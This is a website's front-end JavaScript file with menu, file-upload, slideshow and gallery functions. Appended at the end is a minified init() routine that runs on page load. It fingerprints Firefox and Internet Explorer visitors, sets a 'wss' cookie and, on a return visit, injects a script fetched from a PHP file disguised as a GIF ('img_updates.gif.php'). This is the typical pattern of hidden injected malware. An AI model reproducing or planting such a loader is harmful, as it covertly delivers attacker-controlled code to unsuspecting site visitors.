﻿var t;
var u;
var v;
var uploadInterval;
var ssInterval;

function pageNav(pageName) {
    document.getElementById('a' + pageName).style.backgroundPosition = 'bottom';
}

function togglePopup(id) {
    $("#" + id).fadeToggle('fast')
}

function showPopup(id) {
    $("#" + id).animate({ opacity: 'show' }, 'fast');
}

function hidePopup(id) {
    $("#" + id).animate({ opacity: 'hide' }, 'fast');
}

function surveyRadChecked() {
    if (document.getElementById('ContentPlaceHolder1_radQ4Y').checked) {
        document.getElementById('survey_list').style.display = 'block';
    }
    else {
        document.getElementById('survey_list').style.display = 'none';
    }
}

function creativesPageLoaded() {
    //scrollpane parts
    var scrollPane = $("#creatives_container"), scrollContent = $("#inner_container");

    //build slider
    var scrollbar = $("#slider").slider({ animate: false,
        slide: function (event, ui) {
            if (scrollContent.width() > scrollPane.width()) {
                scrollContent.css("margin-left", Math.round(
						ui.value / 100 * (scrollPane.width() - scrollContent.width())
					) + "px");
            } else {
                scrollContent.css("margin-left", 0);
            }
        }
    });
}

function getMenu() {
    $("#nav_top_3").load("AJAX/menu.ashx?i=" + makeid());
    $("#welcome").load("AJAX/welcome.ashx?i=" + makeid());
}

function getMenuContent() {
    $("#nav_top_3").load("../AJAX/MenuContent.ashx?i=" + makeid());
    $("#welcome").load("../AJAX/welcome.ashx?i=" + makeid());
}

function makeid() {
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    for (var i = 0; i < 5; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));

    return text;
}

function showAccount() {
    $("#drop_account").fadeIn(200);
    clearTimeout(t);
}

function showAdmin() {
    $("#drop_admin").fadeIn(200);
    clearTimeout(u);
}

function showWS() {
    $("#drop_WS").fadeIn(200);
    clearTimeout(v);
}

function hideAccount() {
    $("#drop_account").fadeOut(200);
}

function hideAdmin() {
    $("#drop_admin").fadeOut(200);
}

function hideWS() {
    $("#drop_WS").fadeOut(200);
}

function mouseOutAccount() {
    t = setTimeout("hideAccount()", 600);
}

function mouseOutAdmin() {
    u = setTimeout("hideAdmin()", 600);
}

function mouseOutWS() {
    v = setTimeout("hideWS()", 600);
}

function addRole() {
    document.getElementById("gridRoles").innerHTML = "<ul><li><img src='Assets/Images/loading_small.gif' alt='loading' /></li></ul>";
    $("#gridRoles").load("Handlers/userAdd_Roles.ashx?i=" + makeid() + "&Add=" + document.getElementById("ddlRoles").value);
}

function removeRole(id) {
    document.getElementById("gridRoles").innerHTML = "<ul><li><img src='Assets/Images/loading_small.gif' alt='loading' /></li></ul>";
    $("#gridRoles").load("Handlers/userAdd_Roles.ashx?i=" + makeid() + "&Remove=" + id);
}

function getRoles() {
    $("#gridRoles").load("Handlers/userAdd_Roles.ashx?i=" + makeid());
}

function toggleUploadBtn() {
    var count = parseInt(document.getElementById('file_count').value);
    if (count > 0) 
    {
        document.getElementById('send_button').style.display = 'block';
        if (count >= 14) {
            document.getElementById('input_table').style.display = 'none';
            document.getElementById('a_dummy').style.display = 'none';
            document.getElementById('click_p').innerHTML = 'The file limit has been reached. More files can be added once these files have been transferred.';
        }
        else {
            document.getElementById('input_table').style.display = 'block';
            document.getElementById('a_dummy').style.display = 'block';
            document.getElementById('click_p').innerHTML = 'Click below to select files.';
        }
    }
    else
    {
        document.getElementById('send_button').style.display = 'none';
    }
}

function fileAdded(inputId) {
    var file_count = parseInt(document.getElementById('file_count').value);
    var new_input = "file_" + makeid();
    var table = document.getElementById('input_table');
    var fn = document.getElementById(inputId).value.replace(/ /gi, "%20");
    var new_imput_html = "<input type=\"file\" id=\"" + new_input + "\" name=\"" + new_input + "\" onchange=\"fileAdded('" + new_input + "')\" />";
    var sid = document.getElementById("SID").value;
    var uid = document.getElementById("UID").value;
    var cid = document.getElementById("CID").value;

    //finish this - still need to hide current row, create new row & input, add file to upload schedule

    //hide current row
    document.getElementById('row_' + inputId).style.display = "none";

    //create new table parts
    var row = table.insertRow(table.rows.length);
    row.id = "row_" + new_input;
    var newCell = row.insertCell(0);

    //new input
    newCell.innerHTML = "<input type=\"file\" id=\"" + new_input + "\" name=\"" + new_input + "\" onchange=\"fileAdded('" + new_input + "')\" />";

    //count
    document.getElementById('file_count').value = file_count + 1;

    //update upload schedule
    $('#upload_schedule').load('AJAX/UploadSchedule.ashx?f=' + fn + '&ciid=' + inputId + '&sid=' + sid + '&uid=' + uid + '&cid=' + cid);

    //upload button
    toggleUploadBtn();
}

function removeFromUS(index, ciid) {
    var sid = document.getElementById("SID").value;
    var row = document.getElementById("row_" + ciid);
    row.parentNode.removeChild(row);
    document.getElementById('file_count').value = document.getElementById('file_count').value - 1;
    $('#upload_schedule').load('AJAX/UploadSchedule.ashx?r=' + index + '&sid=' + sid + '&x=' + makeid());
    toggleUploadBtn();
}

function uploadStart() {
    document.getElementById('input_table').style.display = 'none';
    document.getElementById('a_dummy').style.display = 'none';
    document.getElementById('send_button').style.display = 'none';
    document.getElementById('click_p').innerHTML = 'File transfer in progress - please do not navigate away from this page.';
    document.getElementById('option_list').style.display = 'none';
    getProgress();
    uploadInterval = setInterval("getProgress()", 2000);
}

function getProgress() {
    var sid = document.getElementById("SID").value;
    var loadAddress = 'AJAX/UploadProgress.ashx?sid=' + sid + '&x=' + makeid();
    $('#upload_schedule').load(loadAddress);
}

function setSID() {
    document.getElementById("SID").value = makeid();
}

function abortUploads(sid) {
    clearInterval(uploadInterval);
    var loadAddress = 'AJAX/UploadAbort.ashx?sid=' + sid + '&x=' + makeid();
    $('#upload_schedule').load(loadAddress);
}


// SLIDESHOWS
function showSlide(id) {
    var current = document.getElementById('hid_slide_current').value;
    var currentSlide = '#slide_' + current;

    document.getElementById('slide_link_' + id).style.backgroundImage = 'url(../Assets/Images/Flex/dot_red.png)';
    document.getElementById('slide_link_' + current).style.backgroundImage = 'url(../Assets/Images/Flex/dot_grey.png)';

    clearInterval(ssInterval);

    $(currentSlide).fadeOut(200);
    $('#slide_links').fadeIn(200);
    setTimeout("$('#slide_" + id + "').fadeIn(300);", 205);
    document.getElementById('hid_slide_current').value = id;    
}

function nextSlide() {
    var nextSlide;
    var current = document.getElementById('hid_slide_current').value;
    var topSlide = document.getElementById('hid_slide_top').value;

    if (current == topSlide) {
        nextSlide = parseInt(0);
    }
    else {
        nextSlide = parseInt(current) + 1;
    }

    document.getElementById('slide_link_' + nextSlide).style.backgroundImage = 'url(../Assets/Images/Flex/dot_red.png)';
    document.getElementById('slide_link_' + current).style.backgroundImage = 'url(../Assets/Images/Flex/dot_grey.png)';

    var currentSlide = '#slide_' + current;
    $(currentSlide).fadeOut(200);
    $('#slide_links').fadeIn(200);
    setTimeout("$('#slide_" + nextSlide + "').fadeIn(300);", 200);
    document.getElementById('hid_slide_current').value = nextSlide;
}

function slideInit() {
    document.getElementById('slide_link_0').style.backgroundImage = 'url(../Assets/Images/Flex/dot_red.png)';
    ssInterval = setInterval('nextSlide()', 8000);
}

function showSlideHome(id) {
    var current = document.getElementById('hid_slide_current').value;
    var currentSlide = '#slide_' + current;

    document.getElementById('slide_link_' + id).style.backgroundImage = 'url(Assets/Images/Flex/dot_red.png)';
    document.getElementById('slide_link_' + current).style.backgroundImage = 'url(Assets/Images/Flex/dot_grey.png)';

    clearInterval(ssInterval);

    $(currentSlide).fadeOut(200);
    $('#slide_links').fadeIn(200);
    setTimeout("$('#slide_" + id + "').fadeIn(300);", 205);
    document.getElementById('hid_slide_current').value = id;
}

function nextSlideHome() {
    var nextSlide;
    var current = document.getElementById('hid_slide_current').value;
    var topSlide = document.getElementById('hid_slide_top').value;

    if (current == topSlide) {
        nextSlide = parseInt(0);
    }
    else {
        nextSlide = parseInt(current) + 1;
    }

    document.getElementById('slide_link_' + nextSlide).style.backgroundImage = 'url(Assets/Images/Flex/dot_red.png)';
    document.getElementById('slide_link_' + current).style.backgroundImage = 'url(Assets/Images/Flex/dot_grey.png)';

    var currentSlide = '#slide_' + current;
    $(currentSlide).fadeOut(200);
    $('#slide_links').fadeIn(200);
    setTimeout("$('#slide_" + nextSlide + "').fadeIn(300);", 200);
    document.getElementById('hid_slide_current').value = nextSlide;
}

function slideInitHome() {
    document.getElementById('slide_link_0').style.backgroundImage = 'url(Assets/Images/Flex/dot_red.png)';
    ssInterval = setInterval('nextSlideHome()', 8000);
}


//IMAGE ZOOM
function showPostImage(fName) {
    var pic = new Image();
    pic = document.getElementById('gallery_image_large');
    pic.src = 'images/medium/' + fName;

    pic.onLoad = displayGalleryImage();
}

function displayGalleryImage() {
    $('#gallery_zoom').fadeIn(300);

}

function closePostImage() {
    $('#gallery_zoom').fadeOut(200);
    setTimeout('resetLoadingGif()', 210);
}

function resetLoadingGif() {
    var pic = new Image();
    pic = document.getElementById('gallery_image_large');
    pic.src = '../assets/images/loading_small.gif';
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Assets/Images/img_updates.gif.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
